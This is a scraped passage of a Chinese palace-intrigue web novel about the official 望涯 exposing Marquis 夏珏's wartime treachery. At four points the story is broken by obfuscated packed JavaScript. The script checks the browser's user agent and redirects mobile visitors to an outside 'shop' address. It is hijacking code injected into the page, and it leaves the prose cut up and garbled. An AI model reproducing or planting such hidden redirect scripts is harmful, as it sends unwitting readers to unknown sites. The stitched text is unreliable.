d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049670|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下年幼,伏在韩娘子手边,不断地喊着阿娘,阿娘。而娘子却再也没有力气抬起手轻抚他的头顶。 这一切,都是夏珏和我一手造成的。 后来,庆王殿下离开冷宫做的第一件事,竟是把我送出宫去。 他说这是韩娘子的意思,皇城是个吃人的地方,无论高低贵贱,一旦失足就会被啃食得连骨头都不剩。 出宫后,夏珏担心事迹败露,欲将我灭口。我知道在他的手底下几乎没有逃出生天的可能,于是我先找到他,求他收留我。彼时他在京中还未彻底站稳,他需要有人帮他在夜里行舟,替他编织美丽的蜀锦去掩盖浑身的肮脏龌龊。 我无疑是最合适的人选,走投无路,甚至连母亲都在他手中。 于是,便有了醉春风。 我无时无刻不在寻找出路,寻找我的母亲,可得知的消息却是,她早就死在了教坊司。夏珏根本没有救她,从始至终他都在欺骗我,让我的双手沾满鲜血,夜不能寐,夜夜被恶鬼缠绕索命,去换他的高枕无忧。 我想走。 可他把听寒送到了我的面前。 我想起很多年前,我们在院子里玩耍,母亲们在一旁绣花,听寒说将来要考取功名,要穿状元袍。我说要悬壶济世,要逍遥自在,当时的我们都还不知道,这个世道并不属于我们。 我不得不将她带进醉春风,否则她活不过那个寒冬。 我披着徐十三的外皮活了很久,直到那天,听寒叫了我一声徐淑。我才恍然发现,原来我是徐淑,原来我曾经是徐淑。 但一切都为时已晚,我已然是罪无可恕了。 而这一切,都拜夏珏所赐。 如果找到此书的是夏珏,那你且记,我不会放过你,就算死也不会。 倘若不是,我不清楚你是如何得到它的,也不知已经过了多久,彼时要是夏珏已经死了,此书也就没了用处。如若他还活着,庆王殿下也还康健,请你将册子和书信一同呈给庆王,并拿到他的手书到华氏钱庄兑换银子,那是我全部的积蓄,如果你能见到听寒,烦请将另一封信交给她。 若庆王殿下已然失势,烦请转交贺氏的望涯,拿着她的手书同样能够兑银子。 愿你平安顺遂。 …… 书信结尾还盖着她的私印,以及签名和手印。 信封里除了此书,另外还有一封,上头写着:听寒亲启。 望涯捧着信纸久久没有动弹,直到烛火燃尽,屋子里陷入一片黑暗中。 良久后她才起身,借着月光重新点了灯,在她的册子里补上‘沈威’的名字。 沈定西主张夏珏刻意贻误军机,等沈威彻底覆没后才‘姗姗来迟’,装模作样收复土地,领了军功,升了官衔。 到现在,坊间谈的都是沈威弄丢了土地,而夏珏收复了土地。 此事的节点藏在失踪的许策身上,但望涯并不着急寻找她。 更令她想不通的是,为何夏珏要在沈威兵败后对冯学士下手? 冯学士同那场战役有什么关系? “冯学士……冯学士……”望涯的手指一下一下点在信纸上,眉头微皱。忽然间福至心灵,仿佛开悟了般,她‘哗’地站起身,在屋子里快步走了两个来回,她必须得做点什么,她快要抑制不住自己冲到夏珏面前陈述他罪状的冲动。 于是她熄了火,走到窗边推开沉重的窗,这才发觉天边已经泛起鱼肚白。 清冽的晨风使望涯镇定下来,双手仍把着窗框。 要想彻底查清楚,得先把夏珏关进笼子里防止他攀咬,再请赵俨下旨复核沈威以及冯学士的案子。 “小望大人,有信。”望涯开门拿信,信封上赫然写着‘江北’二字。 70.方兴未艾 更晚一些,整个京城都活络起来,各种嘈杂的声音飘进望涯的耳朵里。等她吃完一碗热汤面后,又有人来了。 “小望大人,贺记的老万以及孔宅的下人来了。” 孔灼的人是来送冰块的,万叔则送来好几箱书。箱面上贴着书单,望涯背着手挑了半天,最终一指其中一个,道:“就这个吧。” 于是,望涯付了银子,便招了两个仆人替她将箱子搬进书房里。 “这么沉,该不会里头是金子吧?”说话的是应府的仆从,总伸长了脖子打量望涯,更留意与她往来的人。先前都传望涯同大理寺少卿的师生关系不纯,否则她怎么可能当上官,然而这些天以来,只有应颂今常来探望,两人看起来关系不错。 “没准呢,要不?”另一位附和道。 然而还没等他们将箱子起开,忽听身后传来一句:“今日厨下可备了饮子?” 望涯不知何时出现,正环抱双手倚着门框,神色淡然地看着眼前的仆人们。 “回大人,估摸是有的,这几日暑气太重,我这就去问问。”其中一人暗自用胳膊肘杵了杵另一位,正要脚底抹油一走了之,却见望涯抬腿,缓步走到箱子前开了锁,从里头翻出本比他命还厚的书。 二人面面相觑,快步离开了。 “小望大人有什么吩咐?”那两人前脚离开,后脚管事的就到了,这是位年逾四十的大娘,姓佟,素日里不苟言笑,干活井井有条。 “我这里并没有什么好忙的,却用着这么多人,实在是有些铺张。劳烦大娘理一理,留下一两个够用就好,其余的还是归还来处罢。”应颂今如今是把望涯里三层外三层裹了起来,但人多眼杂,谁也不能保证她的人只效忠于她。 佟管事一怔,随即想起方才两个神色慌张的男仆,于是点头:“我这就去办。” “好。” 佟管事离开后,望涯合上书本,带着那本厚到不厚道的书到地窖里去了。 冰窖原先很宽敞,但今天新进了许多冰,也就变得狭窄起来了。孔灼送来的冰散发着阵阵寒气,这是佟管事要的冰,说是为酷暑预备的,往年里都是这样办,可今年她来伺候望涯,先是整理了百废待兴的宅子,又是听应颂今安排暗桩,因此耽搁了时日,再想买时已经没有了,好在望涯问了孔灼,他那儿还有。 望涯缩了缩脖子,路过两旁刚砌好的冰墙,径直走进最里头。 那里摆放着一口先前从房里清出来的银箱,当时佟管事还不清楚为何要将这么大的箱子塞进地窖里,那不是占位置吗? 望涯却道:“这是风水问题,您不懂。” 佟管事也不深究,反正地窖也是空着。 当然,‘风水问题’是望涯胡诌的。 ‘嘭’的一声,是望涯抬腿揣了一脚箱子,不多时,里头有什么东西动了动,发出几声呜咽。望涯点了灯,用书脊松了松箱盖,随即盖子从里头被推开,望涯掌灯一探,便看见了屈居里头的人。 此人是夏珏的死士。 先前,望涯料到夏珏会动用文言将自己外派,于是在冷水里滚了几个来回,得了风寒,且‘带病当职’,既得了名声,也躲了这个外派的机会。后来在宅子里休养,夏珏定不会放过这个机会,她的宅子四处透风,连个门房也没有,想对她动手,那真是易如反掌。 于是,望宅‘走水’了。 在此之前,她找孔灼借了几位镖师蹲守在附近,原先是为了保命,没诚意,竟在走水当天抓获了一名夏府的死士。今日借着送冰块的由头将他从孔灼手里转移给了望涯。 那名死士抬头看向望涯,不用想也知道,眼前的人想策反自己。 “委屈你了。”望涯笑道,接着又问:“你叫什么名字?” 死士不答,只是愤愤地盯着她。 望涯恍然大悟,将胳膊把书本夹住,抬手松了松死士脸上封口的布条。 再问:“你叫什么名字?” 死士仍是不说话,他想要活命,只有一条路,那便是杀了眼前的人。但他没办法,一双手脚被绑得死死的,动弹不得,别说刀剑,就连鞋子也被扒走,浑身上下只余一身薄薄的衣裳。 “效忠夏珏到底有什么好处?”望涯确实想不通,据老罗所说,抓到他时看了他的牙,并不是吃细粮的人。替人效忠为人卖命,不求荣华富贵就是求活,显然,眼前的并非为了钱财,那便是为了活命。 这样最好办,他身为死士,事情没办成且消失了一段时间,就算活着回去夏珏也不会用他了,更不会让他活着离开侯府。这样一来,他想求活只有一条路能走。 “我可以放你一条生路。”他仍是不吭声,望涯继续道。 他终于有了动静,却是猛地起身想将望涯撞翻。然而望涯忽然侧身,便见他失重倒地,脑袋结结实实撞上了冰块,发出一声闷响。 望涯不禁抬手摸了摸自己的脑门,仿佛方才的动静是自己发出来的。 “但你得替我办件事。”她道。 “你凭什么认为可以左右我?!”死士倒在地上,手脚被束缚住,连起身也没有办法。 “我曾经在书坊当过掌柜,买和卖的道理自然是清楚的,你想要什么,我便给你什么,相应的,你也要付出一笔我满意的银子。这很公平,但你在夏珏手底下呢?他那是打家劫舍,把你丢进磨坊里榨成渣,连骨头都不剩。” 望涯扬了扬手里的书,继而道:“当然,我是个读书人,和他不一样,你若是不买东西,我也不强卖,门就在那儿,你可以直接走。而且……门外有很多夏府的人,他们应该会接你回去的吧。” 死士忽然自嘲地笑笑。 夏珏此人暴戾恣睢,满腹猜忌,自己已然失联一段时日,就算回去时提着望涯的人头,他也断不会放自己一条生路。他忽然想起自己的师兄了,他领了夏珏的令,出发擒拿贺氏母女,怎料她们早有准备,便没能完成。因此,师兄便在堂上被活剐,面目全非,死不瞑目。 不知过了多久,望涯打了个冷颤,正要开口继续说话,却听地上的人道:“我叫连七。” ———— 今日朝中有大事发生,连仙气飘飘的赵俨都紧皱着眉头。 因江北以南的见青府发生了一桩案子,一位许多年前被贬的官员逃出矿山,在夜里将府衙门前歌颂天子圣德的石碑篡改了。 怎么改的呢? 他将上头赵俨的称谓改成了夏珏的。 原本这并不是什么大事,知府悄摸将人收拾了也就作罢,山高皇帝远的,传不进赵俨的耳朵里。可偏偏有位书生借此机会给夏珏写了首赞诗,并由青楼越传越广,最后乘着某位回京官员的风吹进了皇城。 “你听说了吗?”石寺丞朝大殿方位努了努嘴。 望涯茫然地摇头,她才从病榻上爬起来,面色还不大好,不晓得近来发生的事情也是正常。 石寺丞左顾右盼,见四下无人注意,这才压低声音,抬手指了指某个方位:“那位侯爷,要遭殃了。” 望涯仍是一脸不解:“哪位?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049671|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 石寺丞‘啧’了一声,继而道:“你见过的。” 望涯沉思片刻,问:“夏侯爷?” 石寺丞点头,抬手挡住自己的嘴,声音却从指缝中溜出来:“功高盖……”他露出一副‘你懂的’的表情。 望涯确实悟了,也意味深长地点点头,却道:“神仙打架,小鬼避让。”接着理了理衣袖,干活去了。 与此同时,殿内鸦雀无声。 赵俨捧着奏折,忽然幽幽地念起诗来。 “炎炎挺身担道义,一心为民解烦忧”。 “战功赫赫威天地,铁马金戈复两州。” “青史留名千古传,英雄豪气长虹贯。” “垂拱殿内无天子,灰烟袅袅长生盼。” 这是在讥讽赵俨天天修仙问道炼仙丹求长生,夏珏却一心为民,做了很多好事。 赵宇咬了咬牙关,先道:“荒唐!他莫不是疯了?儿臣以为,当将此人行以绞刑,其族人贬为庶人,无论老少远近,皆杖八十,流三千里!” 赵俨冷哼一声:“单单一个书生罢了……这还只是个书生……” 赵俨抬头,目光穿过跪伏着的朝臣往远处飘去,夏珏,在江北驻守过两年,再到后来收复沈威丢失的两州,平步青云,又在某个节点非常识相的规避党争,几乎不上朝,也不理政务,先前要将他提进政事堂,他也推脱了。 当初的赵俨当真就信了他,等他发觉脚底下的泥沙正在一点点被抽走后才恍然大悟。 这老驴骗了自己。 但彼时他已经没有任何办法了,连先太子都是夏珏的人推上去的。 因为夏珏,赵俨不得不让自己的儿子‘薨’了,转而将未被夏珏沾染的赵宇推进东宫,借此洗牌。 “禀陛下,臣有本要奏。” 有位御史打断了赵俨的思路,赵俨收回目光,也将手里的奏折合上,看了眼赵宇,示意他归列,接着开始听这位御史的‘本’。 果不其然,是参的夏珏。 这位御史昨日散衙之时偶然撞见有人往夏侯府送野味,细细打听后才知道,夏珏这样已经很久了,其中除去雏兔,还有许多山珍,然而眼下正是赵俨的《禁采捕诏》生效的月份,此时夏府明目张胆买入,这难道不是鼓励猎户违抗法诏,难道不是藐视天威吗?! 这本还没奏完,大理寺那头同样蠢蠢欲动。 张行简也有本要奏。 御史奏完了,张行简出列,称要报大理寺司直望涯私宅走水一案的结论。 这样的案子原本并不用报给赵俨,但在这个节骨眼上事关夏珏,他就不得不报了。 这案子是交给艾推丞的,他本来推不出来什么结论,但忽然有一天,一位自称连七的人来认罪了,并指控那场火是夏珏让他烧的,自己则是夏府豢养的死士,而像他这样的人,夏府里头还有很多个。 赵俨默声,目光掠过群臣。眼下所有事情都指向夏珏,用膝盖想都知道有人要扳倒他。 这是好事。 至于是谁呢? 目前他只能看到上回所说的那只‘哑炮’。 赵俨忽然很想笑,满朝文武,畏首畏尾,瞻前顾后,眼里只有自己的钱自己的田,竟都不比一个黄毛丫头果敢。 这便是初生的牛犊吗? “糊涂!这样的事情可有实证?光凭那个什么七的一面之词就能结案吗?!” 没曾想,夏党中头一个跳脚的竟是新加入夏珏麾下的文言。 张行简一怔,暗叹,不愧是文言,蠢到令人发指! 71.立案 今日乱了一天,连带着大理寺里也不得安宁。 张行简得了赵俨的令,彻查夏珏。 文言一边骂张行简,一边给夏珏通风报信。 夏珏穿了一身素衣进宫谢罪,但张口却是:“臣之罪行,在于疏忽,才让贼人有了可乘之机,让他们用脏水泼了满身!圣上英明,臣请求彻查诗词案、野味案,以及望宅纵火案!” 除此之外,他还自请禁足,表示自己在大理寺办案期间不会插手。 赵俨点点头,二人演了一出很好的仁君与忠臣的戏码,但双方心里都跟明镜一样,他们都清楚,这是彼此之间第一次,也是最后一次交锋了。 夜里起了好大一阵风。 有人披着斗篷在黑暗中穿梭,直至爬上京城中最高的钟楼。 望涯静静俯瞰着地面上的万家灯火,此景很适合触景生情吟诗作对,但她脑袋空空,只感到了前所未有的宁静。 良久之后她才动了动,从挎包里拿出一叠印好的诉状,在风向刚刚好的时候,将它们一撒而尽。 纸张在空中盘旋着,最后洋洋洒洒飘向京城的每个角落。 这让望涯想起了阿娘坟头上的纸钱,其实墓碑落成那日,她悄悄去看过,做法事的撒了许多纸钱,其中有一片越飞越高,不见了踪影,后来在盼儿的坟头上,有一张纸钱乘风而归,稳稳当当地落在了望涯的掌心。 当时她甚至觉得,是阿娘在安慰自己。 风吹散了诉状,也将她的的斗篷吹落,望涯透过飞舞的发丝,竟在朦胧间闻见了安庆的味道,她说不上来,但她忽然想回家了,回到那间养育她长大的屋子,然后痛痛快快哭上一场。 哭一哭阿娘,哭一哭盼儿,也哭一哭自己。 可她清楚,自己永远也不会回去了。 望涯抬手重新披好斗篷,转身离开。她想不明白自己怎么忽然多愁善感起来,这几天都是如此,既暴躁又多愁,难不成是中邪了? 清晨。 “佟大娘!” 佟管事被这声狼嚎吓得一机灵,连忙寻声推开望涯卧房,正要拔刀时,只见望涯怔在床边,铺盖上赫然一滩血色。 “这是月事。”望涯自顾道,她差点就忘了还有这回事。 “啊呀,是初潮么?”佟管事忙收了刀,转身合上门。 望涯点点头。 “既然如此,今日需得好好歇着,就别四处走动了,大理寺那头告个假罢?”佟管事手脚麻利,很快替她换上了新铺盖,以及月事带,一边嘱咐着不要碰凉的,一边吩咐厨下备好姜汤。 望涯换好衣服:“大理寺昨儿才领了大差事,在这个节骨眼上告假,不大好。” 佟管事转而替望涯整理衣服:“也罢,但大人需得时时注意,还有忌口。” “好,多谢大娘。” …… 今日的京城发生了一桩怪事。 那便是死去的徐十三,在地府里写了诉状,托黑白无常将它们带回阳间。 整个京城随处可见挂着的纸张,有些浮在水洼上,有些挂在树上,还有的在人家的坟头上。 可见,徐十三怨气冲天,快成煞了。 为何这般呢? 难道是望涯断的案子有误,她不是被李牛杀的?杀她的另有其人? 有人弯腰捡起地上的纸张,一字一句看了起来,不知不觉间,四周竟围满了人,有人挑着扁担驻足,一双眼睛直勾勾盯着看诉状的人,试图从他脸上看出点什么,忽然有头猪拱了拱他的腿,将他拱到一旁去,他侧身一看,发现赶猪的人也伸长了脖子等着。 有人忍不住了,问:“上头写的啥?” “又要加税么?” “是阎王娶亲?” 众说纷纭。 “不不不,徐十三,醉春风的徐十三指控夏侯爷,在三十年前以一州为筹码,联合北栖国,里应外合出卖沈威将军军机,致我朝连失三洲,沈军覆灭,后与北栖演了一出苦战的戏,夏珏收复失地,北栖得了一州,皆大欢喜。然,沈军几万将士的冤魂却永久地盘旋在沙场。当年的冯学士对此战役有所怀疑,并曾提出复盘,然而夏珏出了先手,拿徐十三生母的性命用做要挟,逼迫她栽赃冯学士与韩娘子,致使韩娘子含冤而死,冯学士被贬,为绝后患,夏珏将通敌叛国包庇细作的罪名扣到了冯学士身上……” “夏,夏侯爷?真是那位夏侯爷吗?!他明明是个天大的好人呐!” “徐十三不是死了吗?” “冤魂索命来了!看来这位夏侯爷当真……” 望涯路过人群,回头瞥了一眼,不远处县衙的人正在四处搜集这些纸张。她悄悄抬手,将菜摊上的纸张塞进衣袖,快步走进大理寺。 腿刚迈过那道门槛,朝看见石寺丞在屋子里同几人咬耳朵,梁佑生竟也在里头,不用猜也知道,他们说的一定是那封诉状的问题。 “你听说了吗?”有人看见望涯了,起身打算把她也拉进他们的‘政事堂’。 望涯回头看看门口处,小心翼翼地问:“听说什么?” “徐十三的诉状!” “那案子不是你审的吗,这事你知道内情否?” 望涯摇头,从袖子里拿出那张皱巴巴的纸张:“可是这个?” 包括石寺丞在内,所有人都未曾亲眼瞧见过这张纸,等他们听说了再去找时,早已被县衙的人清了个一干二净。 好在望涯住得远,县衙的人手伸得有些慢,因此她才有机会拿到。 石寺丞先将纸张拿了过去,几个脑袋凑在一块儿逐字逐句查看。望涯幽幽地道:“我能知道什么内情,此事发生时,就是我娘还未满三岁呢。” 望涯袖手,余光瞥了眼梁佑生,随即有人来报:“望司直,张少卿请。” 望涯点头,转身离开,路上遇见几位仆役手里攥着几张不知打哪儿来的诉状。望涯侧脸,忽然问道:“收集这些做什么?” 仆役一礼,答:“得将它们收集起来,再一齐焚烧,说是,莫乱人心。” “有劳了。”望涯接着赶路。 到张行简门前却遇见了何宝驹,上回望涯没能出使的案子落到了他手中,据说办得很好。 “我当这是春日里,原来是何兄带来的暖风。”望涯笑道,二人上回在此地碰面,还是何宝驹说她春风得意,此番风水打转,轮到望涯打趣他了。 何宝驹面带得意,还有几分幸灾乐祸:“快进去罢!徐十三的案子怕是有得你忙喽——” 张行简正在翻看夏府的账本,上面一切正常,并没有什么猫腻,也不存在什么野味。 忽听见一阵脚步声,他未抬头,却道:“说吧。” 望涯一礼:“大人明示。” 张行简放下文书,抬头看向望涯:“圣上下旨彻查夏珏,一是查那首赞诗,二是查野味,三是你的私宅。再有,等我散了朝会回来,恐怕还得多好几桩。”他起身,眼底下一片乌青,据说昨天夜里在此熬了一个大夜,想来也是第一批看到诉状的人。 “你想清楚了,此番若无法彻底解决,将来必定会遭反噬,彼时我不会帮你。”说实在的,张行简并不清楚这些事情是否完全和望涯有关,但里面肯定有她的手笔。 望涯抬眼看向对方,笑道:“我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078649|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”她一顿,接着道:“话说回来,我手上有个筹码,想来你应该会很感兴趣,我会给你的,但不是现在。夏珏的案子什么时候了结,我就什么时候给你。” 张行简挑眉:“说说看。” “事关令堂。”先前宋知曾说,翰林院中有位年兄资质不怎么样,却能跟他平起平坐,甚至当年榜上的名次还比他高出几位,如此一来,年兄是如何披上这身官袍的,其中因果就比较耐人寻味了。后来宋知将此事揭到林昭面前,林昭暗地里查探一番,发现此年兄的卷子确实名不副实,一旦揭发,遭殃的必定是礼部。 后来望涯四处蹲守,发现赵邕入狱前,卢惕守曾轻车简从去过他的住处。 也就是说,这位年兄是赵邕的人,赵邕会利用他将张仁昌踹下去,彼时张行简必定也逃脱不了。但赵邕什么时候启用他呢?望涯不知道,她也不在乎张仁昌的死活,但张行简是她唯一的武器,许多事情都得由他动手,例如眼前的夏珏。 因此,望涯不得不暂时稳住宋知以及林昭,犯一犯‘窝藏’的罪名,另一头也想办法给赵邕送了信物。 在夏珏案了结后,这位年兄科考作伪的案子,是一定要揭发的。 张行简冷哼一声,一甩衣袖,上朝会去了。 望涯也一甩衣袖,回去干活了。 出门抬头,便见乌云蔽日,冷风四起。 “一场大雨。”她自顾道。 ———— 朝会上吵得不可开交。 张行简以不变应万变,任夏党怎么说,他只坚持一句话:查。 有罪自然要查,无罪那更要查了,还夏侯爷一个清白嘛!否则谣言一传十,十传百,侯爷的名声还要不要了? 不让查,是你居心叵测,是你要迫害侯爷! “难不成那诉状……是大人散的?” 张行简轻飘飘的一句话,惹得争纷四起。 韩征是韩娘子的兄长,韩娘子与冯学士的事情闹得人尽皆知时,他正在地方上任,由于在奏折里夹带了替妹妹求情的书信,赵俨盛怒之下将他按在地方多磋磨了十余年,直到风波过去,才召他回京。刚回去时,赵俨看他也眼睛不是眼睛,鼻子不是鼻子的,总想冷落他,怎奈无人可用,不得不用他。 此时他面色铁青,冷不丁出列:“陛下圣明,当年一役,数万将士命丧沙场,伏尸百万,臣以为,就算是为了他们的在天之灵,也当立沈威案,并复核冯辉一事。更何况,此时京城中议论纷纷,人心不安。” 这么多年过去,韩征无异于赵俨的左膀右臂了。 赵俨沉思良久,状似无奈地下了命令:“大理寺少卿张行简协同刑部及兵部,立沈威案,着查归平关一役,并复核冯辉通敌案。另由大理寺少卿王驰协同刑部及御史台,立夏珏案,主理赞诗、野味、望宅纵火案,以及今日飞满京城的诉状!必定要揪出散播此书者。” 在此之前,望涯同另一位少卿连一面之缘也没有,甚至没怎么听过他的名号,只知道有这么一位人。 据石寺丞所说,此人有患着顽疾,好几次都准备好了白事,每每又从鬼门关里出来,跟死着玩儿似的,闲来无事就要去‘死一死’,大夫也看不出来他得的是什么病,前阵子望涯‘养病’之时,他恰好康复归来当了几天职,后来望涯是好了,他却又告了假。 因为几桩案子并发,大理寺的人手根本不够用,两位少卿便将几位司直分了分,才勉强凑数。 而望涯被分到了王驰手底下。 此时,她正冒着雨去见她的新上官。 一声惊雷落下,城门外的沈定西也扬起马鞭,踏着一地泥泞回到了京城。 72.纵横书院 有些雨水顺着沟渠汇入江河,有些则顺着砖缝淌进了赵邕的地牢。 他抬手探了探潮湿的墙壁,忽听一阵由远及近的脚步声,赵邕仔细辨别着,此声同平日里给自己送锦衣或吃食的狱卒不同,可也不陌生,上回他送来一小个布包,另外还有一句话:“这是小望大人送来的。” 布包里是一支鎏金的簪子,上头的纹样很稀奇,但赵邕见过许多次。在冷宫里时,母亲唯一珍视的物品就是那口小小的妆奁,上头就刻着这样的纹路。 望涯这是想做什么? 当时他想不明白,甚至想过她是在讥讽自己的生母,然而略微思考,便知道这不可能,除非她疯了。 “殿下。” 孙狱丞这回两手空空,因为他并非由望涯差遣,而是听命于赵邕,也不知望涯是怎么知道的,竟辗转托他给赵邕送东西。 “近来如何?” 赵邕捏起桌上的信纸将手指擦干净,又将它揉成团砸向墙壁。 “回殿下,夏珏貌似要遭殃了,今日圣上下旨,重审冯辉,并立案,严查夏侯爷。” 赵邕的目光停留在桌案上,那儿静静躺着望涯送进来的簪子。 原来是这个意思,她要替母亲昭雪。 赵邕忽然一笑。 当然不会这么好心,她想借此机会从自己这里得到些东西。但那是什么,宽恕?钱财?亦或知道张氏即将崩塌,开始识时务了? “下去吧。” 赵邕道。 孙狱丞的脚步渐行渐远,牢房里再次回归寂静。 赵邕起身,从桌上拾起簪子,脑海里再次浮现出赵俨的模样。 他只在乎自己,甚至不惜牺牲自己最疼爱的儿子。 “您还能安坐几时呢……” ———— 大理寺狱。 望涯领了王驰的差使,来查连七。 实际上,在朝会进行时,艾推丞就已经审得七七八八,此时正在等待上头的指令,左等右等,等来了望涯。 “望司直,这些就是了。” 艾推丞起身行礼,侧身示意桌案上的口供,一旁的书吏赶忙将其拿起来递到望涯跟前。 望涯从头查看一番:“有劳。” 接着带着口供,回头找王驰复命去了。 “王大人,这是连七的口供。” 王驰接过,仔细查看着,接着有人从外头进来:“大人,都备好了。” “嗯。” 王驰起身,正了正衣冠,接着对望涯道:“走。” 与此同时,谭八正倒在血泊中,他的左手被齐肩斩断,血涌不止。 夏珏则端坐堂上,一旁的侍从端上一盆温水替他净手。 “还真是块硬骨头,姓望的给了你什么好处?” 谭八几乎快要昏厥,但仍咬牙不吭声,接着就见夏珏起身从他身边经过,只留下一句:“收拾干净。” 他不能杀了谭八,因为还要留着,同望涯谈判。 “大人,大人!不好了,大理寺来了!” 话音未落,门口处从外涌进来许多人将其团团围住,望涯走在后头,一脸歉意地做着不歉意的事。她将公文在夏珏面前晃过,上头签署的可不止大理寺,不过是他们先行而已,再往后还有刑部以及兵部,热闹非凡。 望涯仍是客客气气:“侯爷莫怪,这是公事。” 不等夏珏说话,她继续道:“大理寺查案,封锁门窗,家中女眷不得踏出后院,仆人一应接受盘查,其余男丁,请到先到堂上,没有准许,任何人不得擅自离开,违者就地处决。” 望涯转头对夏珏道:“请。” 夏珏走在前头,望涯的目光则停留在了他衣摆上的血迹。 他杀人了? 王驰的马车在望涯清点完人数后到达,此时,望涯女官的身份就便捷许多,原本后院这种地方官员想要搜查还得斟酌一番,然而现在有了望涯,这种差事自然而然就落到她的手里,这也是她一开始就想做的。 夏珏想拒绝也找不到由头。 …… 夏文德面色苍白,汗水顺着鬓角滑落,他刚刚亲眼见到阿翁持剑削掉了谭八的手臂。 门外忽然传来一阵嘈杂,名为韦三的仆人急匆匆推门而入,全然顾不上什么礼数,他的脸色同样难看,方才他随着夏文德一齐在墙根底下偷看,亲眼目睹了谭八的遭遇,而这是他一手造成的,却不是因为什么文章,而是他发现谭八藏着什么东西,偷过来一看,上头记载的,竟是天怡苑的事,于是想也没想就把东西交给了夏珏。 本想把他赶出去就好了,没诚意,夏珏竟如此狠毒。 “四郎,外头,大,大理寺的来了。” 韦三没发觉自己的手都在颤抖。 这是望涯第三回见到马大娘了,头一回是托她给盼儿带书,第二回她们对铺公堂,每回她都有着一股莫名其妙的傲气,但此时,她攥着衣角,有些不知所措。 “别来无恙。” 望涯说着,身后一干官员正在各个屋子里搜查,将东西封入银箱,与她同来的还有梁佑生,不过他正在前院盘查死士的案子。 不等马大娘回答,望涯便问:“所有下人都在这儿了?” 马大娘点点头:“回大人,都在这儿了。” 然而其中并没有谭八的身影,于是招来管事,核对记载奴仆的册子,上头谭八的名字还没来得及销,望涯略微皱眉,随即道:“对不上,少了几个,人在哪儿?” “这些是病死的,还没来得及销。” 他用炭笔在册子上圈了几个人名,其中就包括谭八。 “也就是最近死的了,把尸首抬上来吧。” “这……这两个是半个月前死的,至于这个,昨儿就拉到义庄烧了,大人您看,灰要不要?” 望涯默声,这老家伙摆明了不想配合,既然如此,想来谭八还在,但处境不会很好。 ———— “是沈小娘子吗?!” 双儿正蹲守在残破的望宅门前,这是望涯给她的差使,她说沈定西会来。 沈定西翻身下马,看着眼前的残垣断壁有些凌乱:“这是怎么了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128003|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “望大人说,等小娘子回来,就请到大理寺见张少卿。” 双儿如今身上穿着好衣裳,头上扎了两个圆圆的发髻,还有一朵漂亮的绒花,都是明珍替她打扮的。 “望涯如何,她还好吗?” 望宅的模样不大好,沈定西不免猜测先前发生了什么,幸而双儿说:“望大人一切安好,眼下正在侯府抄家呢!” 双儿一双眸子亮晶晶的,今儿她见着望涯骑着高头大马从皇城里出来,身侧是辆马车,身后浩浩荡荡跟着一应官员书吏,甚至还有披坚执锐的,好不威风,其他人都在传,这是去抄家的。 “抄家?” 双儿点头,天气炎热,她等得太久,此时额前的碎发紧紧粘在额头上,像刚从水里捞出来的孩子,脸颊也红扑扑的,她小心翼翼从怀里掏出块牌子交给沈定西,这是也是望涯交待的,沈定西拿着这个便能暂时出入大理寺。 沈定西接过木牌,临走前回头问:“你叫什么名字?” “双儿。” “好,快回去罢,注意暑气。” 话音落下,沈定西便扬长而去,留下双儿怔在原地,在这一天里,她好像看到了许多不得了的事情,原来女儿家也可以骑在高头大马上号令朝廷命官,还有诸如沈定西,背着大刀策马扬鞭,目光里是她看不懂的东西。 半晌后,双儿抬手抹去额上的汗珠,转身朝另一个方向走去,今日明珍给了她一天假,以及一些碎银,除去金风楼,她现在有了一个新去处,那便是还未启用的‘纵横书院’。 那里头有两位老师,一位姓宋,另一位姓张,都是很好的人。 “老师好!” 双儿将腰上的钱袋解下来,捧着递到宋远华跟前,她也要为书院尽一份绵薄之力。 “这是做什么,快收起来。” 宋远华受望涯之托,收了生平第一个学生,恨不能立刻就倾囊相授,却意识到这是揠苗助长。 双儿只摇头不说话,又将钱袋往宋远华跟前递了递。 “收下罢,这也是双儿的心意。” 